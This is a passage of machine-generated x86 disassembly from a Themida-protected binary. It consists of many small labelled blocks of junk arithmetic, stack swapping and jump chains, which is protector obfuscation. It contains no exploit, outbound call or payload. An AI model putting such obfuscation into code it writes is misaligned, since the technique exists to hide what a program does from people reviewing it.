loc_5573E3:				; CODE XREF: Themida_:0055D18Dj
		pop	esp
		jmp	loc_555FF1
; ---------------------------------------------------------------------------


loc_5573E9:				; CODE XREF: Themida_:00558FE6j
		dec	dl
		xor	dl, 51h
		jmp	loc_5650E7
; ---------------------------------------------------------------------------


loc_5573F3:				; CODE XREF: Themida_:005581A3j
		add	edi, ecx
		jmp	loc_562E03
; ---------------------------------------------------------------------------


loc_5573FA:				; CODE XREF: Themida_:0055AE59j
		dec	ebp
		add	ebp, 43CF5566h
		or	ebp, 19A051CFh
		sub	ebp, 1FB5280Ah
		or	ecx, ebp
		pop	ebp
		jmp	loc_553720
; ---------------------------------------------------------------------------


loc_557415:				; CODE XREF: Themida_:00564EC2j
		mov	esp, [esp]
		jmp	loc_5568DF
; ---------------------------------------------------------------------------


loc_55741D:				; CODE XREF: Themida_:00565AA0j
		add	ebx, edx
		add	ebx, 37AC292Dh
		mov	edx, [esp]
		jmp	loc_55F533
; ---------------------------------------------------------------------------


loc_55742D:				; CODE XREF: Themida_:005640DEj
		add	esp, 4
		jmp	loc_55E72B
; ---------------------------------------------------------------------------


loc_557435:				; CODE XREF: Themida_:00554E87j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5619B1
; ---------------------------------------------------------------------------


loc_557440:				; CODE XREF: Themida_:0055F13Dj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55EF44
; ---------------------------------------------------------------------------


loc_55744B:				; CODE XREF: Themida_:005629A9j
		push	ecx
		mov	ecx, 408E0501h
		neg	ecx
		and	ecx, 0F992D88h
		jmp	loc_55C50E
; ---------------------------------------------------------------------------


loc_55745E:				; CODE XREF: Themida_:0055993Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_55BEE6
; ---------------------------------------------------------------------------


loc_557466:				; CODE XREF: Themida_:00551B55j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_562E7B
; ---------------------------------------------------------------------------


loc_557488:				; CODE XREF: Themida_:0055A436j
		mov	eax, 4D7E4C76h
		sub	edx, eax
		pop	eax
		sub	edx, 101C44DCh
		add	edx, 2363727Eh
		add	edx, ebx
		sub	edx, 2363727Eh
		add	edx, 101C44DCh
		add	edx, 4D7E4C76h
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_559D9C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5590BB
; ---------------------------------------------------------------------------


loc_5574CB:				; CODE XREF: Themida_:00557CFCj
		or	edi, 293F3568h
		xor	edi, 0BBBF356Eh
		add	esi, 5E726287h
		add	esi, edi
		sub	esi, 5E726287h
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A732
; ---------------------------------------------------------------------------


loc_5574FF:				; CODE XREF: Themida_:0055DF95j
		mov	edi, 2E3D386Ch
		or	edi, 28B6C46h
		push	eax
		push	edi
		jmp	loc_5618DF
; ---------------------------------------------------------------------------


loc_557511:				; CODE XREF: Themida_:0055870Ej
		mov	al, ch
		jmp	loc_556348
; ---------------------------------------------------------------------------


loc_557518:				; CODE XREF: Themida_:0055E97Fj
		pop	ecx
		push	edx
		jmp	loc_55C1BB
; ---------------------------------------------------------------------------


loc_55751F:				; CODE XREF: Themida_:0055B489j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_553C3C
; ---------------------------------------------------------------------------


loc_557527:				; CODE XREF: Themida_:0056261Cj
		mov	ecx, esi
		pop	esi
		jmp	loc_5644ED
; ---------------------------------------------------------------------------


loc_55752F:				; CODE XREF: Themida_:0055AA03j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_563D51
; ---------------------------------------------------------------------------


loc_557549:				; CODE XREF: Themida_:0055382Dj
		add	esp, 4
		add	esp, 4
		jmp	loc_56275E
; ---------------------------------------------------------------------------


loc_557554:				; CODE XREF: Themida_:005593B0j
		add	ebx, eax
		push	eax
		mov	eax, 53B31D60h
		sub	eax, 49E6AE8Ah
		jmp	loc_55311D
; ---------------------------------------------------------------------------


loc_557566:				; CODE XREF: Themida_:0055FA01j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	3CF66F66h
		pop	edx
		jmp	loc_5575A4
; ---------------------------------------------------------------------------


loc_55757F:				; CODE XREF: Themida_:0055AF46j
		add	esi, 45EB73F5h
		jmp	loc_551D95
; ---------------------------------------------------------------------------


loc_55758A:				; CODE XREF: Themida_:005591DAj
		push	ebp
		mov	ebp, 76AE1865h
		shr	ebp, 5
		jmp	loc_559FBF
; ---------------------------------------------------------------------------


loc_557598:				; CODE XREF: Themida_:0055941Aj
		push	esi
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55EEF5
; ---------------------------------------------------------------------------


loc_5575A4:				; CODE XREF: Themida_:0055757Aj
		inc	edx
		or	edx, 28EF7D55h
		add	edx, 0EE4973Dh
		jmp	loc_553E81
; ---------------------------------------------------------------------------


loc_5575B6:				; CODE XREF: Themida_:00565940j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_564301
; ---------------------------------------------------------------------------


loc_5575CC:				; CODE XREF: Themida_:0055E67Cj
		neg	edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		push	ebp
		push	edx
		mov	edx, 148E00DCh
		jmp	loc_558777
; ---------------------------------------------------------------------------


loc_5575DE:				; CODE XREF: Themida_:00562027j
		push	ebp
		push	edi
		mov	edi, 4D6009F2h
		mov	ebp, edi
		pop	edi
		inc	ebp
		jmp	loc_55F600
; ---------------------------------------------------------------------------


loc_5575EE:				; CODE XREF: Themida_:00557D67j
		mov	dh, bh
		jmp	loc_55ACB0
; ---------------------------------------------------------------------------


loc_5575F5:				; CODE XREF: Themida_:00559EBBj
		add	eax, 65562DCEh
		pop	edx
		sub	edi, 6C184151h
		add	edi, 13947924h
		add	edi, eax
		sub	edi, 13947924h
		add	edi, 6C184151h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_565251
; ---------------------------------------------------------------------------


loc_55762A:				; CODE XREF: Themida_:00553133j
		push	ebp
		mov	ebp, 2C1E2069h
		shl	ebp, 6
		and	ebp, 1B0A6167h
		add	ebp, 4D9B3B81h
		jmp	loc_556FF9
; ---------------------------------------------------------------------------


loc_557644:				; CODE XREF: Themida_:0055DE5Fj
		mov	edi, [esp]
		add	esp, 4
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	40DAh
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55DFF3
; ---------------------------------------------------------------------------


loc_55765F:				; CODE XREF: Themida_:0055410Cj
		mov	[esp], eax
		jmp	loc_558980
; ---------------------------------------------------------------------------


loc_557667:				; CODE XREF: Themida_:0055F54Fj
		neg	ah
		jmp	loc_55CBE1
; ---------------------------------------------------------------------------


loc_55766E:				; CODE XREF: Themida_:005546CDj
		sub	ecx, 2EDE08BBh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561D2D
; ---------------------------------------------------------------------------


loc_55767F:				; CODE XREF: Themida_:0055FD05j
		add	ebp, 34FDC98Eh
		mov	eax, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		jmp	loc_560B7C
; ---------------------------------------------------------------------------


loc_557690:				; CODE XREF: Themida_:00565AEFj
		push	6959h
		mov	[esp], ecx
		mov	ecx, 348404E4h
		xor	ecx, 348404E0h
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 2A4021F8h
		add	eax, ecx
		add	eax, 2A4021F8h
		pop	ecx
		jmp	loc_55CB28
; ---------------------------------------------------------------------------


loc_5576C6:				; CODE XREF: Themida_:00562FF6j
		inc	esi
		dec	esi
		push	ecx
		mov	ecx, 7E7902B7h
		shl	ecx, 6
		push	esi
		mov	esi, 26CC0017h
		jmp	loc_565355
; ---------------------------------------------------------------------------


loc_5576DC:				; CODE XREF: Themida_:0055B297j
		push	small 2
		mov	di, [esp]
		jmp	loc_55BA6A
; ---------------------------------------------------------------------------


loc_5576E9:				; CODE XREF: Themida_:00551226j
		add	esi, 75A25212h
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_557B14
; ---------------------------------------------------------------------------


loc_5576FB:				; CODE XREF: Themida_:0055C7F4j
		mov	[esp], edi
		push	ebx
		mov	ebx, 195234A4h
		add	ebx, 0FFFFFFFFh
		jmp	loc_557774
; ---------------------------------------------------------------------------


loc_55770F:				; CODE XREF: Themida_:005510A9j
		add	esi, edi
		sub	esi, 79521123h
		pop	edi
		jmp	loc_55088A
; ---------------------------------------------------------------------------


loc_55771D:				; CODE XREF: Themida_:00559A8Dj
		pop	edx
		jmp	loc_558807
; ---------------------------------------------------------------------------


loc_557723:				; CODE XREF: Themida_:005648C0j
		push	ebx
		push	eax
		pop	ebx
		mov	esi, ebx
		jmp	loc_550B23
; ---------------------------------------------------------------------------


loc_55772D:				; CODE XREF: Themida_:00552E4Aj
		mov	dl, 0BDh
		jmp	loc_55EB8F
; ---------------------------------------------------------------------------


loc_557734:				; CODE XREF: Themida_:0055A01Ej
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55C629
; ---------------------------------------------------------------------------


loc_557740:				; CODE XREF: Themida_:00557202j
		shl	edx, 1
		jmp	loc_565697
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		sub	esp, 4
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5538F6
; ---------------------------------------------------------------------------


loc_55776C:				; CODE XREF: Themida_:005634F0j
		sub	esp, 4
		jmp	loc_55B4F4
; ---------------------------------------------------------------------------


loc_557774:				; CODE XREF: Themida_:0055770Aj
		shr	ebx, 4
		shr	ebx, 2
		jmp	loc_5521E4
; ---------------------------------------------------------------------------


loc_55777F:				; CODE XREF: Themida_:0055ED70j
		push	edx
		mov	edx, 39F7139Dh
		add	edx, 5B6A496Ch
		jmp	loc_5571FF
; ---------------------------------------------------------------------------


loc_557790:				; CODE XREF: Themida_:0055E927j
		sub	ecx, 9DAC06Bh
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		jmp	loc_55B436
; ---------------------------------------------------------------------------


loc_5577A1:				; CODE XREF: Themida_:00556793j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E569
; ---------------------------------------------------------------------------


loc_5577AF:				; CODE XREF: Themida_:00550F9Ej
		pop	ecx
		jmp	loc_560F93
; ---------------------------------------------------------------------------


loc_5577B5:				; CODE XREF: Themida_:00561939j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_562C8D
; ---------------------------------------------------------------------------


loc_5577C0:				; CODE XREF: Themida_:0055581Bj
		mov	[esp], ebx
		jmp	loc_5636AE
; ---------------------------------------------------------------------------


loc_5577C8:				; CODE XREF: Themida_:00554E7Aj
		mov	ax, [esp]
		jmp	loc_562C10
; ---------------------------------------------------------------------------


loc_5577D1:				; CODE XREF: Themida_:00564676j
		push	eax
		jmp	loc_558214
; ---------------------------------------------------------------------------


loc_5577D7:				; CODE XREF: Themida_:0055C4B3j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 673031B3h
		neg	esi
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		or	esi, 1B6634A4h
		and	esi, 364573BBh
		xor	esi, 364431B3h
		sub	ecx, esi
		jmp	loc_55D6C3
; ---------------------------------------------------------------------------
		push	41F0h
		mov	[esp], ebp
		push	ebx
		jmp	loc_55F9C6
; ---------------------------------------------------------------------------


loc_557817:				; CODE XREF: Themida_:00560638j
		mov	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_554119
; ---------------------------------------------------------------------------


loc_557824:				; CODE XREF: Themida_:0055156Bj
		mov	eax, 47C377AFh
		xor	eax, 285474EDh
		jmp	loc_562CF0
; ---------------------------------------------------------------------------


loc_557833:				; CODE XREF: Themida_:00552EA2j
		mov	ch, 4Ah
		add	ch, al
		pop	eax
		add	ch, 0B3h
		shl	ch, 8
		jmp	loc_55DEA7
; ---------------------------------------------------------------------------


loc_557843:				; CODE XREF: Themida_:00564943j
		pop	edi
		jmp	loc_5550C6
; ---------------------------------------------------------------------------


loc_557849:				; CODE XREF: Themida_:00564D83j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55784E:				; CODE XREF: Themida_:0055A9B1j
		mov	edx, [esp]
		jmp	loc_5608F7
; ---------------------------------------------------------------------------


loc_557856:				; CODE XREF: Themida_:005649EDj
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_563E22
; ---------------------------------------------------------------------------


loc_55786E:				; CODE XREF: Themida_:00554ABFj
		mov	eax, [esp]
		push	ecx
		jmp	loc_55478F
; ---------------------------------------------------------------------------


loc_557877:				; CODE XREF: Themida_:00563703j
		mov	ecx, 6AF94FC1h
		sub	eax, ecx
		jmp	loc_554384
; ---------------------------------------------------------------------------


loc_557883:				; CODE XREF: Themida_:0055E639j
		mov	esi, [esp]
		add	esp, 4
		and	edx, 0B4D557Fh
		sub	edx, 965829BEh
		jmp	loc_562F19
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	7DC8h
		push	esp
		pop	dword ptr [esp]
		push	edi
		jmp	loc_560491
; ---------------------------------------------------------------------------


loc_5578B6:				; CODE XREF: Themida_:00564099j
		pop	ebp
		push	ecx
		mov	ecx, 359147DEh
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_564F43
; ---------------------------------------------------------------------------


loc_5578CD:				; CODE XREF: Themida_:00563BEEj
		pop	edx
		jmp	loc_55121E
; ---------------------------------------------------------------------------


loc_5578D3:				; CODE XREF: Themida_:0055C8D4j
		sub	ecx, 3E927902h
		jmp	loc_5606B2
; ---------------------------------------------------------------------------


loc_5578DE:				; CODE XREF: Themida_:00559BBFj
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	6471h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_559E44
; ---------------------------------------------------------------------------


loc_557924:				; CODE XREF: Themida_:00560ADAj
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_550FF2
; ---------------------------------------------------------------------------


loc_557931:				; CODE XREF: Themida_:00564B03j
		xor	edx, ecx
		jmp	loc_55BD0E
; ---------------------------------------------------------------------------


loc_557938:				; CODE XREF: Themida_:005608A8j
		mov	ch, 9Bh
		and	al, ch
		pop	ecx
		jmp	loc_55FDDF
; ---------------------------------------------------------------------------


loc_557942:				; CODE XREF: Themida_:00561351j
		mov	dh, 0C9h
		push	ebx
		mov	bh, 65h
		inc	bh
		push	ax
		mov	al, 59h
		and	bh, al
		pop	ax
		jmp	loc_553B59
; ---------------------------------------------------------------------------


loc_557956:				; CODE XREF: Themida_:005553ABj
		add	ebx, eax
		add	ebx, 6D371430h
		jmp	loc_559DC1
; ---------------------------------------------------------------------------


loc_557963:				; CODE XREF: Themida_:00558C15j
		push	eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55796A:				; CODE XREF: Themida_:005531A3j
		pop	eax
		push	edx
		jmp	loc_5539E4
; ---------------------------------------------------------------------------


loc_557971:				; CODE XREF: Themida_:00558461j
		push	61CAh
		mov	[esp], eax
		jmp	loc_5594D1
; ---------------------------------------------------------------------------


loc_55797E:				; CODE XREF: Themida_:005592D6j
		xor	eax, 55E26660h
		dec	eax
		inc	eax
		jmp	loc_562404
; ---------------------------------------------------------------------------


loc_55798A:				; CODE XREF: Themida_:00560AD4j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5652E9
; ---------------------------------------------------------------------------


loc_557997:				; CODE XREF: Themida_:005535F1j
		add	edx, 6E3C4A97h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559DA5
; ---------------------------------------------------------------------------


loc_5579AB:				; CODE XREF: Themida_:00558579j
		mov	[esp], ebx
		push	eax
		push	edi
		mov	edi, 16640D2Eh
		jmp	loc_560192
; ---------------------------------------------------------------------------


loc_5579BA:				; CODE XREF: Themida_:0055B836j
		mov	dh, 0CDh
		add	bl, dh
		jmp	loc_55A44C
; ---------------------------------------------------------------------------


loc_5579C3:				; CODE XREF: Themida_:00565064j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55CC44
; ---------------------------------------------------------------------------


loc_5579CE:				; CODE XREF: Themida_:00561150j
		push	1FABh
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B959
; ---------------------------------------------------------------------------


loc_5579E4:				; CODE XREF: Themida_:00553A83j
		push	4576h
		mov	[esp], ebx
		jmp	loc_55BDE8
; ---------------------------------------------------------------------------


loc_5579F1:				; CODE XREF: Themida_:0055C2AEj
		shl	ebx, 2
		sub	ebx, 0C9FF6BB3h
		sub	ebp, ebx
		jmp	loc_554503
; ---------------------------------------------------------------------------


loc_557A01:				; CODE XREF: Themida_:00562E19j
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, esp
		jmp	loc_557F04
; ---------------------------------------------------------------------------


loc_557A0C:				; CODE XREF: Themida_:0055056Cj
		mov	edi, 15480C8Bh
		xor	edi, 48102401h
		xor	edi, 5D58288Eh
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_563BA8
; ---------------------------------------------------------------------------


loc_557A27:				; CODE XREF: Themida_:0055484Cj
		xchg	eax, ebp
		pop	ebp
		and	eax, 788E7634h
		shl	eax, 3
		or	eax, 21E554D7h
		sub	eax, 0A5F7F4D3h
		add	edi, eax
		jmp	loc_55DBC3
; ---------------------------------------------------------------------------


loc_557A42:				; CODE XREF: Themida_:005537F7j
		sub	esi, 8A64686h
		add	esi, ebp
		add	esi, 8A64686h
		pop	ebp
		pop	edx
		jmp	loc_556531
; ---------------------------------------------------------------------------


loc_557A57:				; CODE XREF: Themida_:00563EA3j
		or	edi, edx
		pop	edx
		shr	edi, 2
		xor	edi, 483941B8h
		sub	edi, 8A64270Fh
		jmp	loc_56215B
; ---------------------------------------------------------------------------


loc_557A6E:				; CODE XREF: Themida_:00562423j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5625D3
; ---------------------------------------------------------------------------


loc_557A79:				; CODE XREF: Themida_:00556785j
		add	esi, 0F93B462Fh
		mov	edi, esi
		jmp	loc_55E41B
; ---------------------------------------------------------------------------


loc_557A86:				; CODE XREF: Themida_:00564535j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_55FBC1
; ---------------------------------------------------------------------------


loc_557A97:				; CODE XREF: Themida_:0055C39Dj
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_564E7F
; ---------------------------------------------------------------------------


loc_557AA2:				; CODE XREF: Themida_:0055646Ej
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5520B2
; ---------------------------------------------------------------------------


loc_557AAB:				; CODE XREF: Themida_:00554147j
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	0F47h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_559000
; ---------------------------------------------------------------------------


loc_557ACF:				; CODE XREF: Themida_:005591E9j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_557AD4:				; CODE XREF: Themida_:00564F5Dj
		mov	[esp], edx
		push	519D6943h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_562EEB
; ---------------------------------------------------------------------------


loc_557AE7:				; CODE XREF: Themida_:0055C235j
		pop	eax
		push	esi
		mov	edx, [esp]
		jmp	loc_55859D
; ---------------------------------------------------------------------------


loc_557AF1:				; CODE XREF: Themida_:0055ED47j
		push	edi
		mov	edi, 7CE23A6Ah
		push	ebp
		mov	ebp, 59542447h
		and	ebp, 0AC81D4Dh
		add	ebp, 7ADDC155h
		add	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		jmp	loc_552B21
; ---------------------------------------------------------------------------


loc_557B14:				; CODE XREF: Themida_:005576F6j
		pop	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_55705D
; ---------------------------------------------------------------------------


loc_557B27:				; CODE XREF: Themida_:0055B14Aj
		mov	edi, 29A44803h
		sub	edi, 28123722h
		sub	eax, edi
		pop	edi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5646CC
; ---------------------------------------------------------------------------


loc_557B46:				; CODE XREF: Themida_:0055583Ej
		mov	edx, [esp]
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_55C9C2
; ---------------------------------------------------------------------------


loc_557B57:				; CODE XREF: Themida_:0055455Bj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_551F93
; ---------------------------------------------------------------------------


loc_557B60:				; CODE XREF: Themida_:00564082j
		pop	ebp
		sub	ebx, 45433405h
		add	ebx, ecx
		add	ebx, 45433405h
		jmp	loc_554FBE
; ---------------------------------------------------------------------------


loc_557B74:				; CODE XREF: Themida_:00558319j
		add	edx, 4F4C01B0h
		mov	edi, edx
		pop	edx
		jmp	loc_558593
; ---------------------------------------------------------------------------


loc_557B82:				; CODE XREF: Themida_:0055B6AFj
		add	edi, eax
		jmp	loc_55DA1F
; ---------------------------------------------------------------------------


loc_557B89:				; CODE XREF: Themida_:0055515Bj
		mov	ebp, [esp]
		jmp	loc_55B850
; ---------------------------------------------------------------------------


loc_557B91:				; CODE XREF: Themida_:00559280j
		push	edi
		mov	edi, 2
		jmp	loc_55D6CD
; ---------------------------------------------------------------------------


loc_557B9C:				; CODE XREF: Themida_:00553490j
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, 0FAh
		jmp	loc_556473
; ---------------------------------------------------------------------------


loc_557BB3:				; CODE XREF: Themida_:0055868Cj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55669F
; ---------------------------------------------------------------------------


loc_557BC1:				; CODE XREF: Themida_:0055355Dj
		pop	edi
		push	edi
		mov	edi, 14E8083Ch
		sub	edi, 33171AC5h
		neg	edi
		push	ebx
		mov	ebx, 31CB2A5Dh
		jmp	loc_55EE41
; ---------------------------------------------------------------------------


loc_557BDB:				; CODE XREF: Themida_:0055E688j
		add	esi, 6F1A3EB0h
		xor	esi, 0A6A1536h
		xor	esi, 0FE66C701h
		add	eax, 3F361101h
		add	eax, esi
		sub	eax, 3F361101h
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, 20CC02BEh
		add	edx, eax
		sub	edx, 20CC02BEh
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55F7C1
; ---------------------------------------------------------------------------


loc_557C2D:				; CODE XREF: Themida_:005655BFj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55F8C7
; ---------------------------------------------------------------------------


loc_557C36:				; CODE XREF: Themida_:005561CBj
		mov	ecx, 297A170Ch
		add	ebx, ecx
		jmp	loc_563E16
; ---------------------------------------------------------------------------


loc_557C42:				; CODE XREF: Themida_:00559A3Fj
		mov	cl, 53h
		inc	cl
		push	edx
		push	ebx
		jmp	loc_55860E
; ---------------------------------------------------------------------------


loc_557C4D:				; CODE XREF: Themida_:0055F5A6j
		add	ebx, edi
		jmp	loc_563DEA
; ---------------------------------------------------------------------------


loc_557C54:				; CODE XREF: Themida_:00564E7Aj
		push	edi
		push	ebx
		push	5F7255A7h
		pop	ebx
		push	edx
		mov	edx, 43E71E65h
		xor	edx, 382607FAh
		and	edx, 4F140BBEh
		jmp	loc_55C208
; ---------------------------------------------------------------------------


loc_557C73:				; CODE XREF: Themida_:00551761j
		mov	[esp], esi
		mov	esi, 300F745Ah
		jmp	loc_556689
; ---------------------------------------------------------------------------


loc_557C80:				; CODE XREF: Themida_:00565CB1j
		sub	ecx, edi
		pop	edi
		pop	eax
		add	ecx, eax
		jmp	loc_55EE1B
; ---------------------------------------------------------------------------


loc_557C8B:				; CODE XREF: Themida_:00565008j
		mov	edi, 524E20F4h
		and	edi, 280B012Fh
		dec	edi
		add	edi, 869FF9F1h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, ebp
		pop	ebp
		add	esi, 8E34EB10h
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_55676D
; ---------------------------------------------------------------------------


loc_557CC7:				; CODE XREF: Themida_:00560A13j
		pop	ecx
		jmp	loc_56477B
; ---------------------------------------------------------------------------


loc_557CCD:				; CODE XREF: Themida_:00559430j
		mov	esp, [esp]
		div	ecx
		push	473Bh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_557CE1:				; CODE XREF: Themida_:00565788j
		pop	ebx
		pop	ecx
		push	ebp
		push	eax
		mov	eax, esp
		jmp	loc_560FEB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_55CD91
; ---------------------------------------------------------------------------


loc_557CF6:				; CODE XREF: Themida_:0055671Bj
		sub	edi, 67FC547Fh
		jmp	loc_5574CB
; ---------------------------------------------------------------------------


loc_557D01:				; CODE XREF: Themida_:00563587j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5644C2
; ---------------------------------------------------------------------------


loc_557D0D:				; CODE XREF: Themida_:0055E02Aj
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_565279
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_556BF0
; ---------------------------------------------------------------------------


loc_557D20:				; CODE XREF: Themida_:0055D2A1j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5646DB
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	525Eh
		jmp	loc_5585AB
; ---------------------------------------------------------------------------


loc_557D41:				; CODE XREF: Themida_:0055850Fj
		neg	bh
		push	eax
		mov	ah, 2Fh
		and	ah, 7Bh
		and	ah, 91h
		neg	ah
		push	ebx
		mov	bl, 49h
		add	bl, 0B8h
		sub	ah, bl
		pop	ebx
		dec	ah
		xor	ah, 50h
		sub	bh, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5575EE
; ---------------------------------------------------------------------------


loc_557D6C:				; CODE XREF: Themida_:00561A4Fj
		mov	edx, eax
		pop	eax
		pop	ecx
		add	edi, 6C644B74h
		sub	edi, edx
		push	ecx
		jmp	loc_555EB3
; ---------------------------------------------------------------------------


loc_557D7E:				; CODE XREF: Themida_:005635A8j
		add	ebx, 2F5E63F5h
		add	ebx, 6A2EF4Ch
		jmp	loc_55433D
; ---------------------------------------------------------------------------


loc_557D8F:				; CODE XREF: Themida_:0055C4BAj
		mov	ebp, 3AB04226h
		mov	esi, 48EB426Eh
		sub	esi, 66B7164h
		add	esi, 8AB65A7h
		sub	esi, ebp
		jmp	loc_554CBA
; ---------------------------------------------------------------------------


loc_557DAC:				; CODE XREF: Themida_:0055803Ej
		mov	[esp], ebp
		mov	ebp, 2B0257E6h
		shl	ebp, 7
		jmp	loc_55AB80
; ---------------------------------------------------------------------------


loc_557DBC:				; CODE XREF: Themida_:0056516Aj
		add	ebx, 4
		push	edx
		mov	edx, 3C046F1Bh
		jmp	loc_55EB1C
; ---------------------------------------------------------------------------


loc_557DCD:				; CODE XREF: Themida_:00560396j
		add	ebx, ecx
		push	ecx
		mov	ecx, 7EFC7343h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_56582D
; ---------------------------------------------------------------------------


loc_557DDD:				; CODE XREF: Themida_:00552306j
		add	ax, 6594h
		mov	bx, [esp]
		push	72CEh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5658C1
; ---------------------------------------------------------------------------


loc_557DFA:				; CODE XREF: Themida_:00552123j
		mov	eax, [esp]
		add	esp, 4
		neg	cx
		xchg	bp, cx
		not	bp
		xchg	bp, cx
		not	cx
		push	bx
		mov	bx, 5BAFh
		xor	cx, bx
		jmp	loc_553403
; ---------------------------------------------------------------------------


loc_557E20:				; CODE XREF: Themida_:0055B85Cj
		xchg	ebx, [esp]
		pop	esp
		shr	edx, 2
		push	ecx
		mov	ecx, 14D86B32h
		or	ecx, 64B0266h
		shl	ecx, 8
		push	edi
		mov	edi, 35EB1B41h
		push	ebx
		mov	ebx, 0AB63CED6h
		sub	edi, ebx
		pop	ebx
		jmp	loc_561325
